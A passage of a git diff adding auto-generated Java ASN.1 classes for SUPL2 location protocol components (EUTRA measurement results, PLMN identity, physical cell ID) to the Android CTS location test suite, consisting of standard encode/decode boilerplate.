+ return getCgi_Info();
+ }
+
+ @Override public void setToNewInstance() {
+ setCgi_InfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MeasResultEUTRA.cgi_InfoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cgi_Info : "
+ + getCgi_Info().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMeasResult() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMeasResult();
+ }
+
+ @Override public void setToNewInstance() {
+ setMeasResultToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MeasResultEUTRA.measResultType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "measResult : "
+ + getMeasResult().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class cgi_InfoType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_cgi_InfoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cgi_InfoType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cgi_InfoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cgi_InfoType != null) {
+ return ImmutableList.of(TAG_cgi_InfoType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cgi_InfoType from encoded stream.
+ */
+ public static cgi_InfoType fromPerUnaligned(byte[] encodedBytes) {
+ cgi_InfoType result = new cgi_InfoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cgi_InfoType from encoded stream.
+ */
+ public static cgi_InfoType fromPerAligned(byte[] encodedBytes) {
+ cgi_InfoType result = new cgi_InfoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CellGlobalIdEUTRA cellGlobalId_;
+ public CellGlobalIdEUTRA getCellGlobalId() {
+ return cellGlobalId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellGlobalIdEUTRA
+ */
+ public void setCellGlobalId(Asn1Object value) {
+ this.cellGlobalId_ = (CellGlobalIdEUTRA) value;
+ }
+ public CellGlobalIdEUTRA setCellGlobalIdToNewInstance() {
+ cellGlobalId_ = new CellGlobalIdEUTRA();
+ return cellGlobalId_;
+ }
+
+ private TrackingAreaCode trackingAreaCode_;
+ public TrackingAreaCode getTrackingAreaCode() {
+ return trackingAreaCode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TrackingAreaCode
+ */
+ public void setTrackingAreaCode(Asn1Object value) {
+ this.trackingAreaCode_ = (TrackingAreaCode) value;
+ }
+ public TrackingAreaCode setTrackingAreaCodeToNewInstance() {
+ trackingAreaCode_ = new TrackingAreaCode();
+ return trackingAreaCode_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCellGlobalId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCellGlobalId();
+ }
+
+ @Override public void setToNewInstance() {
+ setCellGlobalIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellGlobalIdEUTRA.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cellGlobalId : "
+ + getCellGlobalId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getTrackingAreaCode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTrackingAreaCode();
+ }
+
+ @Override public void setToNewInstance() {
+ setTrackingAreaCodeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TrackingAreaCode.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "trackingAreaCode : "
+ + getTrackingAreaCode().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("cgi_InfoType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class measResultType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_measResultType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public measResultType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_measResultType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_measResultType != null) {
+ return ImmutableList.of(TAG_measResultType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new measResultType from encoded stream.
+ */
+ public static measResultType fromPerUnaligned(byte[] encodedBytes) {
+ measResultType result = new measResultType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new measResultType from encoded stream.
+ */
+ public static measResultType fromPerAligned(byte[] encodedBytes) {
+ measResultType result = new measResultType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private RSRP_Range rsrpResult_;
+ public RSRP_Range getRsrpResult() {
+ return rsrpResult_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RSRP_Range
+ */
+ public void setRsrpResult(Asn1Object value) {
+ this.rsrpResult_ = (RSRP_Range) value;
+ }
+ public RSRP_Range setRsrpResultToNewInstance() {
+ rsrpResult_ = new RSRP_Range();
+ return rsrpResult_;
+ }
+
+ private RSRQ_Range rsrqResult_;
+ public RSRQ_Range getRsrqResult() {
+ return rsrqResult_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RSRQ_Range
+ */
+ public void setRsrqResult(Asn1Object value) {
+ this.rsrqResult_ = (RSRQ_Range) value;
+ }
+ public RSRQ_Range setRsrqResultToNewInstance() {
+ rsrqResult_ = new RSRQ_Range();
+ return rsrqResult_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRsrpResult() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRsrpResult();
+ }
+
+ @Override public void setToNewInstance() {
+ setRsrpResultToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RSRP_Range.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rsrpResult : "
+ + getRsrpResult().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRsrqResult() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRsrqResult();
+ }
+
+ @Override public void setToNewInstance() {
+ setRsrqResultToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RSRQ_Range.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rsrqResult : "
+ + getRsrqResult().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("measResultType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MeasResultEUTRA = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java
new file mode 100755
index 0000000..3023a79
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultListEUTRA.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MeasResultListEUTRA
+ extends Asn1SequenceOf<MeasResultEUTRA> {
+ //
+
+ private static final Asn1Tag TAG_MeasResultListEUTRA
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MeasResultListEUTRA() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MeasResultListEUTRA;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MeasResultListEUTRA != null) {
+ return ImmutableList.of(TAG_MeasResultListEUTRA);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MeasResultListEUTRA from encoded stream.
+ */
+ public static MeasResultListEUTRA fromPerUnaligned(byte[] encodedBytes) {
+ MeasResultListEUTRA result = new MeasResultListEUTRA();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MeasResultListEUTRA from encoded stream.
+ */
+ public static MeasResultListEUTRA fromPerAligned(byte[] encodedBytes) {
+ MeasResultListEUTRA result = new MeasResultListEUTRA();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public MeasResultEUTRA createAndAddValue() {
+ MeasResultEUTRA value = new MeasResultEUTRA();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MeasResultListEUTRA = [\n");
+ final String internalIndent = indent + " ";
+ for (MeasResultEUTRA value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java
new file mode 100755
index 0000000..24a9da8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MultipleLocationIds.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MultipleLocationIds
+ extends Asn1SequenceOf<LocationIdData> {
+ //
+
+ private static final Asn1Tag TAG_MultipleLocationIds
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MultipleLocationIds() {
+ super();
+ setMinSize(1);
+setMaxSize(64);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MultipleLocationIds;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MultipleLocationIds != null) {
+ return ImmutableList.of(TAG_MultipleLocationIds);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MultipleLocationIds from encoded stream.
+ */
+ public static MultipleLocationIds fromPerUnaligned(byte[] encodedBytes) {
+ MultipleLocationIds result = new MultipleLocationIds();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MultipleLocationIds from encoded stream.
+ */
+ public static MultipleLocationIds fromPerAligned(byte[] encodedBytes) {
+ MultipleLocationIds result = new MultipleLocationIds();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public LocationIdData createAndAddValue() {
+ LocationIdData value = new LocationIdData();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MultipleLocationIds = [\n");
+ final String internalIndent = indent + " ";
+ for (LocationIdData value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PLMN_Identity.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PLMN_Identity.java
new file mode 100755
index 0000000..bb82642
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PLMN_Identity.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PLMN_Identity extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PLMN_Identity
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PLMN_Identity() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PLMN_Identity;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PLMN_Identity != null) {
+ return ImmutableList.of(TAG_PLMN_Identity);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PLMN_Identity from encoded stream.
+ */
+ public static PLMN_Identity fromPerUnaligned(byte[] encodedBytes) {
+ PLMN_Identity result = new PLMN_Identity();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PLMN_Identity from encoded stream.
+ */
+ public static PLMN_Identity fromPerAligned(byte[] encodedBytes) {
+ PLMN_Identity result = new PLMN_Identity();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private MCC mcc_;
+ public MCC getMcc() {
+ return mcc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MCC
+ */
+ public void setMcc(Asn1Object value) {
+ this.mcc_ = (MCC) value;
+ }
+ public MCC setMccToNewInstance() {
+ mcc_ = new MCC();
+ return mcc_;
+ }
+
+ private MNC mnc_;
+ public MNC getMnc() {
+ return mnc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MNC
+ */
+ public void setMnc(Asn1Object value) {
+ this.mnc_ = (MNC) value;
+ }
+ public MNC setMncToNewInstance() {
+ mnc_ = new MNC();
+ return mnc_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMcc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMcc();
+ }
+
+ @Override public void setToNewInstance() {
+ setMccToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MCC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "mcc : "
+ + getMcc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMnc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMnc();
+ }
+
+ @Override public void setToNewInstance() {
+ setMncToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MNC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "mnc : "
+ + getMnc().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PLMN_Identity = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PhysCellId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PhysCellId.java
new file mode 100755
index 0000000..becb76b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/PhysCellId.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class PhysCellId extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_PhysCellId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PhysCellId() {
+ super();
+ setValueRange("0", "503");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PhysCellId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PhysCellId != null) {
+ return ImmutableList.of(TAG_PhysCellId);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PhysCellId from encoded stream.
+ */
+ public static PhysCellId fromPerUnaligned(byte[] encodedBytes) {
+ PhysCellId result = new PhysCellId();
